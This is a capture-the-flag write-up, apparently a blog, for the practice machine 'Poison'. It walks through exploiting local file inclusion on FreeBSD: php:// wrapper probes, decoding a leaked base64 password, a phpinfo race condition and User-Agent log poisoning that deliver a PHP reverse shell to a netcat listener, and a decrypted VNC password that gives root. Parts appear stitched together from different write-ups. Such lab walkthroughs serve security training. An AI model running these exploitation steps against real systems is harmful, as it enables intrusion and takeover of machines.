┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.84
514/udp open|filtered syslog
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: FreeBSD 11.X|12.X
OS CPE: cpe:/o:freebsd:freebsd:11 cpe:/o:freebsd:freebsd:12
OS details: FreeBSD 11.0-RELEASE - 12.0-CURRENT, FreeBSD 11.0-STABLE, FreeBSD 11.1-RELEASE, FreeBSD 11.1-RELEASE or 11.2-STABLE, FreeBSD 11.1-STABLE, FreeBSD 11.2-RELEASE - 11.3 RELEASE or 11.2-STABLE, FreeBSD 11.3-RELEASE
Network Distance: 2 hops
Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php
It’s a simple website that takes in a script name and executes it. We’re given a list of scripts to test, so let’s test them one by one. The ini.php & info.php scripts don’t give us anything useful. The phpinfo.php script gives us a wealth of information on the PHP server configuration. The listfiles.php script gives us the following output.
Warning: include( info.php): failed to open stream: No such file or directory in /usr/local/www/apache24/data/browse.php on line 2
pwdbackup.txt
This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=
Based on the output, we can deduce that the application is not validating user input and therefore is vulnerable to local file inclusion (LFI). Based on the comment, this file includes a password that is encoded. Before we go down the route of decoding the password and trying to SSH into an account using it, let’s see if we can turn the LFI into a remote file inclusion (RFI).
RFI TESTING
There are several methods we can try.
PHP http:// Wrapper
The PHP http wrapper allows you to access URLs. The syntax of the exploit is:
http://10.10.10.84/browse.php?file=pwdbackup.txt
GET /browse.php?file=http://10.10.16.4:5555/bla HTTP/1.1
We get an error informing us that the http:// wrapper is disabled. Similarly, we can try ftp:// but that is also disabled.
PHP expect:// Wrapper
The PHP expect wrapper allows you to run system commands. The syntax of the exploit is This functionality is not enabled by default so let’s check if our application has it enabled. Intercept the request using Burp and attempt to run the ‘id’ command.
expect://id
GET /browse.php?file=expect://id HTTP/1.1
We get an error informing us that the PHP expect wrapper is not configured.
PHP input:// Wrapper
The input:// wrapper allows you to read raw data from the request body. Therefore, you can use it to send a payload via POST request. The syntax for the request would be:
This doesn’t work for our request, but I thought it was worth mentioning. There are several other techniques you can try that are not mentioned in this blog. However, I’m confident that the application is not vulnerable to RFI so I’m going to move on.
One useful technique you should know is how to view the source code of files using the filter:// wrapper.
PHP filter:// Wrapper
When a file such as index.php is executed, the page only show the output of the script. To view the source code, you can use the filter:// wrapper.
php://filter/convert.base64-encode/resource=ini.php
GET /browse.php?file=php://filter/convert.base64-encode/resource=ini.php HTTP/1.1
HTTP/1.1 200 OK
Date: Thu, 04 Jan 2024 10:30:46 GMT
Server: Apache/2.4.29 (FreeBSD) PHP/5.6.32
X-Powered-By: PHP/5.6.32
Content-Length: 44
Connection: close
Content-Type: text/html; charset=UTF-8
PD9waHAKcHJpbnRfcihpbmlfZ2V0X2FsbCgpKTsKPz4K
This gives you a base64 encoded version of the source code. Decode the string.
We diverged a little bit from solving this machine, the conclusion of all the above testing is that it is not vulnerable to an RFI. So let’s move on to gaining an initial foothold on the system.
Foothold
Gaining an initial foothold can be done in three ways.
Decode the pwdbackup.txt file and use the decoded password to SSH into a user’s account.
Race condition exploit in phpinfo.php file that turns the LFI to an RCE.
Log poisoning exploit that turns the LFI to an RCE.
I initially got access to the machine using method 1 and then exploited methods 2 & 3 after watching
Exploit 1: pwdbackup.txt
The output of the pwdbackup.txt file gives us a hint that the password is encoded at least 13 times, so let’s write a simple bash script to decode it.
It’s clearly base64 encoded, so let’s decode it:
┌──(kali💀kali)-[~/Desktop]
└─$ data=$(cat pwd.b64); for i in $(seq 1 13); do data=$(echo $data | tr -d ' ' | base64 -d); done; echo $data
Charix!2#4%6&8(0
Local File Include (LFI):
Entering those php scripts into the bar does run them, but there’s also an obvious local file include that allows any site visitor to grab any file they want:
Race condition that can turn an LFI vulnerability to a remote code execution (RCE) vulnerability. The following server side components are required to satisfy this exploitable condition:
An LFI vulnerability
Any script that displays the output of the PHPInfo() configuration
As we saw in the enumeration phase, the Poison htb server satisfies both conditions. Therefore, let’s download the script and modify it to fit our needs.
First, change the payload to include the following reverse shell available on kali by default.
/usr/share/laudanum/php/php-reverse-shell.php
Make sure to edit the IP address and port. Next, change the LFIREQ parameter to the one in our application.
LFIREQ="""GET /browse.php?file=%s
You’ll also have to change all the “=>” to “=>” so that the script compiles properly.
That’s it for modifying the script. Now, set up a listener to receive the shell.
nc -nlvp 1234
Run the script.
python phpinfolfi.py 10.10.10.84 80
We get a shell!
Exploit 3: Log Poisoning
The phpinfo (which is easy to get from http://10.10.10.84/browse.php?file=phpinfo.php) does show that allow_url_include is off, which eliminates direct RFI.
This was probably the intended way of solving the machine considering that the box is called “Poison”. Log Poisoning is a common technique used to gain RCE from an LFI vulnerability. The way it works is that the attacker attempts to inject malicious input to the server log. Then using the LFI vulnerability, the attacker calls the server log thereby executing the injected malicious code.
So the first thing we need to do is find the log file being used on the server. A quick google search tells us that freebsd saves the log file in the following location.
We’ll modify our user-agent using burp to add a webshell. I always like to add a marker here (like “0xdf:”), so that as the log file grows, we can easily locate our output, either with ctrl-f, or using curl and grep.
Notice that the user agent “Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0” is being logged. Since the user agent is something that is completely in our control, we can simply change it to send a reverse shell back to our machine.
Intercept the request in Burp and change the user agent to the reverse shell from
Execute the request in Burp so that the PHP code is saved in the log file. Using the LFI vulnerability call the log file which in turn should execute the reverse shell.
Since the machine is running a freeBSD OS, the LinEnum script won’t work on it. So we’ll have to resort to manual means of enumeration. If you list the files in Charix’s home directory, you’ll find a secret.zip file.
charix@Poison:~ % ls -l
total 8
-rw-r----- 1 root charix 166 Mar 19 2018 secret.zip
-rw-r----- 1 root charix 33 Mar 19 2018 user.txt
If you try to decompress the file, it will ask for a password. Let’s first transfer the file to our attack machine.
┌──(kali💀kali)-[~/Desktop]
└─$ file secret
secret: Non-ISO extended-ASCII text, with no line terminators
The file seems to be encoded. Before we go down the route of figuring out what type of encoding is being used, let’s park this for now and do more enumeration. In the target machine, run the ps command to see which processes are running.
VNC is a remote access software. The -rfbport flag tells us that it’s listening on port 5901 on localhost. We can verify that using the netstat command:
The above command allocates a socket to listen to port 5000 on localhost from my attack machine (kali). Whenever a connection is made to port 5000, the connection is forwarded over a secure channel and is made to port 5901 on localhost on the target machine (poison).
We can verify that the command worked using netstat.
Now that port forwarding is set, let’s connect to VNC on the attack machine.
┌──(kali💀kali)-[~]
└─$ vncviewer 127.0.0.1:5000
I tried Charix’s password but that didn’t work. I then googled “vnc password” and found the following description on the man page.
When setting a VNC password, the password is obfuscated and saved as a file on the server. Instead of directly entering the password, the obfuscated password file can be included using the passwd option. Earlier in this blog we found a secret file that we didn’t know where to use. So let’s see if it’s the obfuscated password file we’re looking for.
We get the following output showing us the plaintext password is VNCP@$$!
Cannot read from Windows Registry on a Linux system
Cannot write to Windows Registry on a Linux system
Decrypted Bin Pass= 'VNCP@$$!'
Decrypted Hex Pass= '564e435040242421'
Now that we know the password, we could directly log into VNC using the plaintext password instead of the obfuscated password file.
┌──(kali💀kali)-[~]
└─$ vncviewer 127.0.0.1:5000
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password: VNCP@$$!
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
VNC was running with root privileges so we can view the root.txt file. Before we end this blog, let’s check if there is any online tools that decode the obfuscated password file. Since it’s not encrypted, we should be able to reverse it without a password.